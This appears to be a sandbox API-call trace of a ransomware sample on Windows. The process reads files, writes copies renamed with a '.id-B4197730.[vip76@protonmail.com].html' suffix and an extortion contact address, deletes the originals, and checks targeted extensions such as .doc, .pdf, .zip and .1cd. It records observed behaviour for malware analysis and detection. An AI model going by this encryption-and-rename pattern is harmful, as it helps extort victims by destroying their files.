	[0204.407] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xe78, lpOverlapped=0x0) returned 1
	[0204.409] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xe80, lpOverlapped=0x0) returned 1
	[0204.410] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.410] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.410] SetEndOfFile (hFile=0x484) returned 1
	[0204.410] CloseHandle (hObject=0x484) returned 1
	[0204.410] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.410] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.413] CloseHandle (hObject=0x5d0) returned 1
	[0204.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 1
	[0204.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.415] lstrlenW (lpString=".doc") returned 4
	[0204.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.415] lstrlenW (lpString=".docx") returned 5
	[0204.415] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0204.415] lstrlenW (lpString=".pdf") returned 4
	[0204.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.415] lstrlenW (lpString=".xls") returned 4
	[0204.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.415] lstrlenW (lpString=".xlsx") returned 5
	[0204.415] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0204.415] lstrlenW (lpString=".ppt") returned 4
	[0204.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.415] lstrlenW (lpString=".zip") returned 4
	[0204.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.415] lstrlenW (lpString=".rar") returned 4
	[0204.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.415] lstrlenW (lpString=".bz2") returned 4
	[0204.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.415] lstrlenW (lpString=".7z") returned 3
	[0204.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.415] lstrlenW (lpString=".dbf") returned 4
	[0204.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.416] lstrlenW (lpString=".1cd") returned 4
	[0204.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.416] lstrlenW (lpString=".jpg") returned 4
	[0204.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.416] lstrlenW (lpString=".doc") returned 4
	[0204.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString=".docx") returned 5
	[0204.416] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0204.416] lstrlenW (lpString=".pdf") returned 4
	[0204.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString=".xls") returned 4
	[0204.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.416] lstrlenW (lpString=".xlsx") returned 5
	[0204.416] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0204.416] lstrlenW (lpString=".ppt") returned 4
	[0204.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.416] lstrlenW (lpString=".zip") returned 4
	[0204.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.416] lstrlenW (lpString=".rar") returned 4
	[0204.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString=".bz2") returned 4
	[0204.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.416] lstrlenW (lpString=".7z") returned 3
	[0204.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.416] lstrlenW (lpString=".dbf") returned 4
	[0204.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.417] lstrlenW (lpString=".1cd") returned 4
	[0204.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0204.417] lstrlenW (lpString=".jpg") returned 4
	[0204.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.417] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.417] lstrlenW (lpString="J0153265.WMF") returned 12
	[0204.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.709] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3008) returned 1
	[0204.709] CloseHandle (hObject=0x434) returned 1
	[0204.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 0x220
	[0204.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.710] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.710] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.711] GetLastError () returned 0x0
	[0204.711] ReadFile (in: hFile=0x434, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xbc0, lpOverlapped=0x0) returned 1
	[0204.715] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0204.716] ReadFile (in: hFile=0x434, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.716] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.717] SetEndOfFile (hFile=0x580) returned 1
	[0204.717] CloseHandle (hObject=0x580) returned 1
	[0204.717] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.717] SetEndOfFile (hFile=0x434) returned 1
	[0204.720] CloseHandle (hObject=0x434) returned 1
	[0204.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 1
	[0204.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.721] lstrlenW (lpString=".doc") returned 4
	[0204.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.721] lstrlenW (lpString=".docx") returned 5
	[0204.721] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0204.721] lstrlenW (lpString=".pdf") returned 4
	[0204.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.721] lstrlenW (lpString=".xls") returned 4
	[0204.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.722] lstrlenW (lpString=".xlsx") returned 5
	[0204.722] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0204.722] lstrlenW (lpString=".ppt") returned 4
	[0204.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.722] lstrlenW (lpString=".zip") returned 4
	[0204.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.722] lstrlenW (lpString=".rar") returned 4
	[0204.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString=".bz2") returned 4
	[0204.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString=".7z") returned 3
	[0204.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.722] lstrlenW (lpString=".dbf") returned 4
	[0204.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.722] lstrlenW (lpString=".1cd") returned 4
	[0204.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.722] lstrlenW (lpString=".jpg") returned 4
	[0204.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.722] lstrlenW (lpString=".doc") returned 4
	[0204.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString=".docx") returned 5
	[0204.722] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0204.722] lstrlenW (lpString=".pdf") returned 4
	[0204.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.722] lstrlenW (lpString=".xls") returned 4
	[0204.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.723] lstrlenW (lpString=".xlsx") returned 5
	[0204.723] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0204.723] lstrlenW (lpString=".ppt") returned 4
	[0204.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.723] lstrlenW (lpString=".zip") returned 4
	[0204.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.723] lstrlenW (lpString=".rar") returned 4
	[0204.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.723] lstrlenW (lpString=".bz2") returned 4
	[0204.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.723] lstrlenW (lpString=".7z") returned 3
	[0204.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.723] lstrlenW (lpString=".dbf") returned 4
	[0204.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.723] lstrlenW (lpString=".1cd") returned 4
	[0204.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68
	[0204.723] lstrlenW (lpString=".jpg") returned 4
	[0204.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.723] lstrlenW (lpString=".id-") returned 4
	[0204.723] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673260 | out: hHeap=0x610000) returned 1
	[0204.723] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbfa8 | out: hHeap=0x610000) returned 1
	[0204.723] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e50980 | out: hHeap=0x610000) returned 1
	[0204.725] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e60988 | out: hHeap=0x610000) returned 1
	[0204.726] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x42ec020 | out: hHeap=0x610000) returned 1
	[0204.731] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673248 | out: hHeap=0x610000) returned 1
	[0204.731] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441628
	[0204.731] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441628, Size=0x20) returned 0x6685d8
	[0204.731] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441628
	[0204.731] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441628, Size=0x20) returned 0x668470
	[0204.731] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.731] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.731] Wow64DisableWow64FsRedirection (in: OldValue=0x38cff50 | out: OldValue=0x38cff50*=0x1) returned 1
	[0204.731] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.731] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668470 | out: hHeap=0x610000) returned 1
	[0204.731] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.731] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6685d8 | out: hHeap=0x610000) returned 1

Thread:
	id = 50
	os_tid = 0xdd8

	[0165.153] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3e70990
	[0165.154] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x43f0048
	[0165.155] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.155] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbf38
	[0165.155] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673290
	[0165.155] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x45f9020
	[0165.158] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673338
	[0165.158] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673338, Size=0x20) returned 0x64d928
	[0165.158] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6732f0
	[0165.158] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6732f0, Size=0x20) returned 0x64d7e8
	[0165.158] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.158] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.158] Wow64DisableWow64FsRedirection (in: OldValue=0x3a0ff50 | out: OldValue=0x3a0ff50*=0x0) returned 1
	[0165.158] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.158] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.158] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.158] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d7e8 | out: hHeap=0x610000) returned 1
	[0165.158] Sleep (dwMilliseconds=0x64) 
	[0165.355] Sleep (dwMilliseconds=0x64) 
	[0165.744] Sleep (dwMilliseconds=0x64) 
	[0166.015] Sleep (dwMilliseconds=0x64) 
	[0166.330] Sleep (dwMilliseconds=0x64) 
	[0166.653] Sleep (dwMilliseconds=0x64) 
	[0167.005] Sleep (dwMilliseconds=0x64) 
	[0167.307] Sleep (dwMilliseconds=0x64) 
	[0167.568] Sleep (dwMilliseconds=0x64) 
	[0167.816] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0167.816] lstrlenW (lpString="Alphabet.xml") returned 12
	[0167.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.817] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=791421) returned 1
	[0167.818] CloseHandle (hObject=0x474) returned 1
	[0167.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0167.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.818] lstrlenW (lpString=".doc") returned 4
	[0167.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0167.818] lstrlenW (lpString=".docx") returned 5
	[0167.818] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0167.818] lstrlenW (lpString=".pdf") returned 4
	[0167.818] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0167.818] lstrlenW (lpString=".xls") returned 4
	[0167.818] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0167.818] lstrlenW (lpString=".xlsx") returned 5
	[0167.818] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0167.818] lstrlenW (lpString=".ppt") returned 4
	[0167.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.819] lstrlenW (lpString=".zip") returned 4
	[0167.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0167.819] lstrlenW (lpString=".rar") returned 4
	[0167.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString=".bz2") returned 4
	[0167.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString=".7z") returned 3
	[0167.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0167.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.819] lstrlenW (lpString=".dbf") returned 4
	[0167.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.819] lstrlenW (lpString=".1cd") returned 4
	[0167.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.819] lstrlenW (lpString=".jpg") returned 4
	[0167.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.819] lstrlenW (lpString=".doc") returned 4
	[0167.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString=".docx") returned 5
	[0167.819] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0167.819] lstrlenW (lpString=".pdf") returned 4
	[0167.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString=".xls") returned 4
	[0167.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0167.819] lstrlenW (lpString=".xlsx") returned 5
	[0167.819] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0167.820] lstrlenW (lpString=".ppt") returned 4
	[0167.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0167.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.820] lstrlenW (lpString=".zip") returned 4
	[0167.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0167.820] lstrlenW (lpString=".rar") returned 4
	[0167.820] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0167.820] lstrlenW (lpString=".bz2") returned 4
	[0167.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0167.820] lstrlenW (lpString=".7z") returned 3
	[0167.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0167.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.820] lstrlenW (lpString=".dbf") returned 4
	[0167.820] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0167.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.820] lstrlenW (lpString=".1cd") returned 4
	[0167.820] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0167.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0167.820] lstrlenW (lpString=".jpg") returned 4
	[0167.820] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0167.820] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0167.820] lstrlenW (lpString="Content.xml") returned 11
	[0167.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.821] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=27045) returned 1
	[0167.821] CloseHandle (hObject=0x474) returned 1
	[0167.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0167.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0167.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
